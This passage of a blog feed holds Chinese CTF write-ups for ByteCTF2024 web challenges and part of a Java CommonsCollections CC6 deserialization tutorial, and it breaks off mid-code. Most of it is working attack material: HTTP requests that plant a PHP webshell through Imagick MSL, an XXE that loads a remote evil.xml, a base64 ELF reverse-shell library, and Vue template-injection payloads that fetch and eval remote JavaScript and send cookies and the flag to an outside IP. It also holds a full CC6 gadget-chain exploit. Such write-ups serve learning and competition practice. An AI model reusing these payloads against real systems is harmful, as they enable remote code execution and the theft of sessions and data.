invoke__">putenv</span>(<span class="string">&quot;LD_PRELOAD=/tmp/&quot;</span>.<span class="variable">$_GET</span>[<span class="string">&#x27;so&#x27;</span>].<span class="string">&quot;.so&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;byte&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;ctf&#x27;</span>])) &#123;  </span><br><span class="line">    <span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">ReflectionClass</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;byte&#x27;</span>]);</span><br><span class="line">    <span class="variable">$b</span> = <span class="variable">$a</span>-&gt;<span class="title function_ invoke__">newInstanceArgs</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;ctf&#x27;</span>]);</span><br><span class="line">    <span class="comment">// echo $b;</span></span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;clean&#x27;</span>]))&#123;</span><br><span class="line">    <span class="title function_ invoke__">array_map</span>(<span class="string">&#x27;unlink&#x27;</span>, <span class="title function_ invoke__">glob</span>(<span class="string">&#x27;/tmp/*&#x27;</span>));</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;Hello ByteCTF2024!&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// phpinfo.html Hello ByteCTF2024!</span></span><br></pre></td></tr></table></figure></div><p>应该就是想让我们劫持LD_PRELOAD最后rce</p><p>phpinfo给出了imagick，考虑通过read、write标签落地远程文件</p><p><img lazyload src="/images/loading.svg" data-src="https://cdn.ha1c9on.top/img-2024/(null)-20240922140352547.(null)" alt="img"></p><p>通过SimpleXml去进行xxe读取config.php</p><div class="highlight-container" data-rel="Http"><figure class="iseeu highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/?byte=SimpleXMLElement&amp;ctf[0]=http://8.130.24.188/evil.xml&amp;ctf[1]=2&amp;ctf[2]=true</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>a1bc48a6.clsadp.com</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>en-US;q=0.9,en;q=0.8</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Cache-Control</span><span class="punctuation">: </span>max-age=0</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>345</span><br><span class="line"></span><br><span class="line"><span class="language-xml">------WebKitFormBoundaryTrWYaXKoVR1wiLhP</span></span><br><span class="line"><span class="language-xml">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;vulhub.msl&quot;</span></span><br><span class="line"><span class="language-xml">Content-Type: text/plain</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">image</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">  <span class="tag">&lt;<span class="name">read</span> <span class="attr">filename</span>=<span class="string">&quot;caption:<span class="symbol">&amp;lt;</span>?php system($_REQUEST[&#x27;cmd&#x27;]); ?<span class="symbol">&amp;gt;</span>&quot;</span>/&gt;</span></span></span><br><span class="line"><span class="language-xml">  <span class="tag">&lt;<span class="name">write</span> <span class="attr">filename</span>=<span class="string">&quot;info:s.php&quot;</span> /&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">image</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">------WebKitFormBoundaryTrWYaXKoVR1wiLhP--</span></span><br></pre></td></tr></table></figure></div><p>拿到secrert&#x3D;HelloByteCTF2024</p><p>php产生的临时文件并不会被清除，这一点在phpinfo写了。因此直接上传我们的恶意so即可，在这之前先compile一个msf的木马，劫持ld_preload会卡死因此需要用msf</p><p>写文件</p><div class="highlight-container" data-rel="Http"><figure class="iseeu highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/?byte=Imagick&amp;ctf[0]=vid:msl:/tmp/php*</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>70b31e79.clsadp.com</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate, br</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>en-US;q=0.9,en;q=0.8</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Cache-Control</span><span class="punctuation">: </span>max-age=0</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>1037</span><br><span class="line"></span><br><span class="line"><span class="language-xml">------WebKitFormBoundaryTrWYaXKoVR1wiLhP</span></span><br><span class="line"><span class="language-xml">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;vulhub.msl&quot;</span></span><br><span class="line"><span class="language-xml">Content-Type: text/plain</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">image</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">  <span class="tag">&lt;<span class="name">read</span> <span class="attr">filename</span>=<span class="string">&quot;inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAIAAAAAAACWAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAJ+wiCGLxRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==&quot;</span>/&gt;</span></span></span><br><span class="line"><span class="language-xml">  <span class="tag">&lt;<span class="name">write</span> <span class="attr">filename</span>=<span class="string">&quot;/tmp/1.so&quot;</span> /&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">image</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">------WebKitFormBoundaryTrWYaXKoVR1wiLhP--</span></span><br></pre></td></tr></table></figure></div><p>配置文件拿到redis密码：bytectfa0d90b</p><p>后续redis module提权</p><p><img lazyload src="/images/loading.svg" data-src="https://cdn.ha1c9on.top/img-2024/(null)-20240922140513387.(null)" alt="img"></p><h3 id="redis提权"><a href="#redis提权" class="headerlink" title="redis提权"></a>redis提权</h3><ul><li>Redis 是完全开源,遵守 BSD 协议的高性能 key-value 数据库。</li><li>Redis的所有操作都是原子性的，意思就是要么成功执行要么失败完全不执行。单个操作是原子性的。多个操作也支持事务，即原子性，通过MULTI和EXEC指令包起来。</li><li>Redis运行在内存中但是可以持久化到磁盘，所以在对不同数据集进行高速读写时需要权衡内存，因为数据量不能大于硬件内存。</li></ul><p><strong>提权：</strong></p><p>首先我们要做的第一步是登录到Redis里面去, 可进入方式有:</p><ol><li>redis未授权访问漏洞<ul><li>默认情况下是可无密码登录的</li></ul></li><li>弱口令</li><li>redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网。</li></ol><p>进入到redis客户端环境之后我们可以通过修改<code>dir</code>和<code>dbfilename</code>参数达到在指定文件写内容文件的目的,</p><p><a class="link" href="https://www.cnblogs.com/h0cksr/p/16189728.html">渗透测试怎么利用Redis提权 - h0cksr - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="CrossVue"><a href="#CrossVue" class="headerlink" title="CrossVue"></a>CrossVue</h2><p>用起来也是 vue，找个地方注入 vue 的模板：</p><p><img lazyload src="/images/loading.svg" data-src="https://cdn.ha1c9on.top/img-2024/(null)-20240922140615830.(null)" alt="img"></p><p>验证是成功的，所以只要 Profile 不出现<code>&lt;&gt;</code> 等会被html转移的字符就好了，可以<code>&#123;&#123;eval(atob('base64'))&#125;&#125;</code></p><p>另外，想办法控制到80个字符以内就好</p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;fetch(<span class="string">&#x27;http://test.example.com:51008/&#x27;</span>).<span class="keyword">then</span>(t=&gt;t.text()).<span class="keyword">then</span>(<span class="built_in">eval</span>)&#125;&#125;</span><br></pre></td></tr></table></figure></div><ul><li><strong>fetch</strong>: 从 <code>http://test.example.com:51008/</code> 地址发起网络请求。</li><li><strong>then(t &#x3D;&gt; t.text())</strong>: 当请求成功时，将响应的内容转换为文本格式。</li><li><strong>then(eval)</strong>: 将转换后的文本内容作为代码执行。</li></ul><p>在<code>vps</code>上面还要再写一个<code>js</code></p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fetch(<span class="string">&#x27;/admin&#x27;</span>).<span class="keyword">then</span>(r =&gt; r.text())</span><br><span class="line">    .<span class="keyword">then</span>(t =&gt; t.match(/&lt;h1&gt;(.*?)&lt;\/h1&gt;/)[1])</span><br><span class="line">    .<span class="keyword">then</span>(flag =&gt; fetch(<span class="string">&#x27;http://test.example.com:51008/?q=&#x27;</span> + flag, &#123; <span class="string">&#x27;no-cors&#x27;</span>: <span class="literal">true</span> &#125;))</span><br></pre></td></tr></table></figure></div><ul><li><strong>fetch(‘&#x2F;admin’)</strong>: 发送请求到 <code>/admin</code> 路径。</li><li><strong>.then(r &#x3D;&gt; r.text())</strong>: 将响应转换为文本。</li><li><strong>.then(t &#x3D;&gt; t.match(&#x2F;<h1>(.*?)</h1>&#x2F;)[1])</strong>: 使用正则表达式匹配并提取 <code>&lt;h1&gt;</code> 标签内的内容。</li><li><strong>.then(flag &#x3D;&gt; fetch(‘<a class="link" href="http://27.25.151.48:12138/?q=">http://27.25.151.48:12138/?q= <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>‘ + flag, {‘no-cors’: true}))</strong>: 将提取到的文本作为查询参数发送到指定的 URL。</li></ul><p>配置一个允许跨域</p><p>修改一下<code>payload</code></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;fetch(&#x27;http://27.25.151.48:12138/index.js&#x27;).then(t=&gt;t.text()).then(eval)&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>但是这样子的话，我在想怎么处理回显的问题，怎么去看呢，后来交流知道了要不直接在<code>SSTI</code>里面插入<code>xss</code>来打</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;eval(&#x27;document.location=\&quot;http://27.25.151.48:9999/?a=\&quot;+document.cookie&#x27;)&#125;&#125;</span><br></pre></td></tr></table></figure></div><ul><li><strong>eval</strong>: 该函数用于执行传入的字符串代码。在这里，它被用来执行包含在字符串中的 JavaScript 代码。</li><li><strong>document.location</strong>: 这是一个对象，表示当前文档的 URL。通过设置它，你可以改变浏览器的地址。</li><li><strong>“<a class="link" href="http://27.25.151.48:9999/?a=%5C">http://27.25.151.48:9999/?a=\ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>“ + document.cookie</strong>: 这个字符串构造了一个新的 URL，其中 <code>document.cookie</code> 将被附加为查询参数 <code>a</code>。这样，你会向 <code>http://27.25.151.48:9999</code> 发送请求，并包含当前页面的 cookie 信息。</li></ul><p>那么拿到<code>cookie</code>登录即可</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;ByteCTF2024复现&quot;&gt;&lt;a href=&quot;#ByteCTF2024复现&quot; class=&quot;headerlink&quot; title=&quot;ByteCTF2024复现&quot;&gt;&lt;/a&gt;ByteCTF2024复现&lt;/h1&gt;&lt;h2 id=&quot;ezauth&quot;&gt;&lt;a href=&quot;#eza</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>JavaSec-CC6</title>
    <link href="http://example.com/2024/09/18/JavaSec-CC6/"/>
    <id>http://example.com/2024/09/18/JavaSec-CC6/</id>
    <published>2024-09-18T09:19:09.000Z</published>
    <updated>2024-09-18T09:20:35.021Z</updated>
    
    <content type="html"><![CDATA[<h3 id="cc6"><a class="markdownIt-Anchor" href="#cc6">#</a> CC6</h3><p>CC6 不受 jdk 版本限制，算是一条最常用的 CC 链<br>这是 Ysoserial 上的 CC6，可以看到后半部分没变，从 LazyMap.get 开始通过 TiedMapEntry.getValue 来调用了，我们追踪一下</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720945.png" alt="img"></p><p>TiedMapEntry.getValue 调用了 map.get</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720020.png" alt="image-20240918130413396"></p><p>看构造函数，map，key 我们都能控制</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720982.png" alt="image-20240918130447959"></p><p>找 getValue 方法在哪调用，TiedMapEntry 自身的 hashCode 方法调用了，我们研究 URLDNS 的时候就是用到这里，那么显而易见，我们前面的就是 HashMap 了</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720974.png" alt="image-20240918130535957"></p><p>构造 exp，注意这里跟 URLDNS 有相同的问题，hashMap.put 的时候就触发了 hash 方法也同时调用了 hashCode，所以直接就执行命令了，还是同样的手法将某些值改一下就行了</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.f12;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC6</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;cc6.bin&quot;</span>);</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deserialize</span><span class="params">(String filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(filename);</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line">        ois.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        Map&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        Map&lt;Object, Object&gt; lazymap = LazyMap.decorate(map, <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>));</span><br><span class="line">        <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazymap, <span class="literal">null</span>);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(tiedMapEntry, <span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">factory</span> <span class="operator">=</span> LazyMap.class.getDeclaredField(<span class="string">&quot;factory&quot;</span>);</span><br><span class="line">        factory.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        factory.set(lazymap, chainedTransformer);</span><br><span class="line">        serialize(hashMap);</span><br><span class="line">        deserialize(<span class="string">&quot;cc6.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>但是这里奇怪的是还是没法弹计算器，我们调试一下看看，发现是 LazyMap.get 这里的问题，这里有一个 if 判断，我们这个 map 没有给值，在 hashMap.put 触发后给 put 进去一个 null 的键，第二次触发的之前我们把这个键删掉就行了。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720984.png" alt="image-20240918130659105"></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.f12;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC6</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;cc6.bin&quot;</span>);</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deserialize</span><span class="params">(String filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(filename);</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line">        ois.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException &#123;</span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        Map&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        Map&lt;Object, Object&gt; lazymap = LazyMap.decorate(map, <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>));</span><br><span class="line">        <span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazymap, <span class="literal">null</span>);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(tiedMapEntry, 